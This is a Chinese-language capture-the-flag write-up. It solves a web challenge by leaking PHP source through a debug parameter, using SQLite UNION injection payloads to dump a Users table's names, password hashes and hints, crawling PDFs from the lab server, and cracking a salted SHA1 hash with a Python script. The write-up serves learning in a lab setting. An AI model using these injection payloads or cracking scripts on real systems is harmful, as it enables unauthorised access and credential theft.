听说这个题一开始是个1分题。。。。what???????
这题结合了sql注入,爬虫爬取以及pdf识别内容和sha1撞库,你告诉我只有一分???????好吧,可能是我太菜了
打开场景,一堆a链接,打开看到是一堆pdf,查找一下发现也没有啥,扫描一波目录,发现robots.txt,进去看看
发现login.php和admin.php,尝试sql注入,admin页面根本没回显,好吧,那么有问题的页面就只剩一个login.php了
先尝试一个简单的单引号1’,有回显,sqlite数据库,id是注入点,后面密码明显进行了某种加密措施
其实这里是查看源码的,发现里面有提示,<!-- TODO: Remove ?debug-Parameter! -->
那么加上?debug,发现居然直接把PHP源码显示出来了,看来这是个开发页面
有了源码那就好办多了
<?php
ob_start();
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
</head>
<body>
<div align=right class=lastmod>
Last Modified: Fri Mar 31:33:7 UTC 1337
</div>
<h1>Login</h1>
Login Page, do not try to hax here plox!<br>
<form method="post">
ID:<br>
<input type="text" name="usr">
<br>
Password:<br>
<input type="text" name="pw">
<br><br>
<input type="submit" value="Submit">
</form>
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! -->
<hr noshade>
<address>Flux Horst (Flux dot Horst at rub dot flux)</address>
</body>
这里直接把sql语句给我们了,那么就不需要判断列数,可以直接读取表结构了,当然可以用1’ union select name,sql from sqlite_master --+读取表的列名 //sqlite没有#注释符
sqlite_master是类似于mysql的information_schema的一张表,具体内容看这一篇
https://blog.csdn.net/luoshabugui/article/details/108327936
我们需要读取Users表的sql
查看源码知道他把返回的内容放在了cookie里那么,就burpsuite抓包看的清楚一点
有id name password hint四列,利用group_concat函数一个个读取出来
-1’ union select 1,group_concat(name) from Users–+
-1’ union select 1,group_concat(password) from Users–+
-1’ union select 1,group_concat(hint) from Users–+
密码是sha1值,只能撞库,根据提示,密码是那些pdf里面的某一个值
需要先用爬虫把这些pdf都爬下来,思路很简单,这些文件名都是32位md5值.pdf,二级目录都是数字/index.html,每个页面都先下载pdf文件,然后再处理二级目录,考虑到windows不自带wget,选用curl下载
贴一个python3代码
import requests
import re
import os
import sys
re1 = '[a-fA-F0-9]{32,32}.pdf'
re2 = '[0-9\/]{2,2}index.html'
pdf_list = []
def get_pdf(url):
print(url)
req = requests.get(url).text
re_1 = re.findall(re1,req)
for i in re_1:
pdf_url = url+i
pdf_list.append(pdf_url)
re_2 = re.findall(re2,req)
for j in re_2:
new_url = url+j[0:2]
get_pdf(new_url)
return pdf_list
pdf_list = get_pdf('http://111.200.241.244:58602/')
#print(pdf_list)
j=1
for i in pdf_list:
os.system('curl '+i+' -o '+"文件夹路径"+str(j)+'.pdf') //文件夹路径是你自己的文件路径。。不要以为是这几个字,我把输出命名成1.pdf,2.pdf这样的,根据自己喜好调整
j=j+1
文件爬好以后进文件夹看一看,ok的化,就需要调用pdfminer去识别每一个pdf的内容,然后根据内容去撞库
先安装pdfminer
pip3 install pdfminer
然后运行脚本他会报错,你需要把pdfminer里面的converter.py手动改一下。。self.pageno+=1改为self.pageno += str(1),可能是我版本的问题pageno调试出来出来是utf-8
from io import StringIO
# python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request
def get_pdf():
return [i for i in os.listdir("文件夹路径") if i.endswith("pdf")]
def convert_pdf_to_txt(path_to_file):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
laparams = LAParams()
device = TextConverter(rsrcmgr, retstr, codec, laparams=laparams)
fp = open(path_to_file, 'rb')
interpreter = PDFPageInterpreter(rsrcmgr, device)
password = ""
maxpages = 0
caching = True
pagenos = set()
for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password, caching=caching,
check_extractable=True):
interpreter.process_page(page)
text = retstr.getvalue()
fp.close()
device.close()
retstr.close()
return text
def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print("Searching word in " + i)
pdf_text = convert_pdf_to_txt("文件夹路径" + i).split(" ")
for word in pdf_text:
sha1_password = hashlib.sha1(word.encode('utf-8') + 'Salz!'.encode('utf-8')).hexdigest()
if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
print("Find the password :" + word)
exit()
if __name__ == "__main__":
find_password()
跑出来密码是ThinJerboa
拿这个密码去admin.php提交,就可以得到flag
参考视频链接:https://www.bilibili.com/video/BV173411B7HU/